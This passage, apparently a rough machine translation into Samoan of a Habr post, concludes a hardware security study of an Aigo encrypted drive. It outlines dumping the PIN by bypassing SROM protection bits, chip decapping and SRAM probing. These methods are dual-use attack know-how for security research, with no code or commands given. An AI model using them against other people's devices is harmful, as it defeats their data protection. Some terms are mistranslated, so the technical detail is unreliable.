Talu ai atonu e faitau e le SROM ia pusi leoleo e ala i le telefoni o le ReadBlock system, e mafai ona matou faia le mea lava e tasi faamatalaina i luga o le blog a Dmitry Nedospasov - o se toe faʻatinoina o le osofaʻiga a Chris Gerlinski, faʻasalalau i le konafesi. "REcon Brussels 2017".

O le isi mea malie e mafai ona fai o le togi ese lea o le mataupu mai le pu: ave se SRAM lafoai, faʻamaonia telefoni feaveaʻi ma faʻafitauli.

9. Faaiuga

O le mea lea, o le puipuiga o lenei taʻavale e tele mea e manaʻomia, aua e faʻaaogaina se microcontroller masani (e le "faʻamaʻaina") e teu ai le PIN code ... Ma le isi, ou te leʻi vaʻavaʻai (i le taimi nei) pe faʻafefea mea o loʻo i ai faʻamaumauga. fa'ailoga i luga ole masini!

O le a se mea e mafai ona e fautuaina mo Aigo? Ina ua uma ona suʻesuʻeina ni nai faʻataʻitaʻiga o faʻailoga HDD faʻailoga, i le 2015 na ou faia ata i luga ole SyScan, lea na ia suʻesuʻeina ai faʻafitauli saogalemu o le tele o taʻavale HDD fafo, ma faia fautuaga i mea e mafai ona faʻaleleia i totonu. 🙂

Sa ou faaaluina le lua faaiuga o vaiaso ma ni nai afiafi e fai ai lenei suesuega. Aofa'i pe a ma le 40 itula. Faitau mai le amataga (ina ua ou tatalaina le disk) seia oo i le faaiuga (PIN code dump). O le 40 itula tutusa e aofia ai le taimi na ou faʻaaluina i le tusiaina o lenei tusiga. O se malaga fiafia tele.

puna: www.habr.com

Faaopoopo i ai se faamatalaga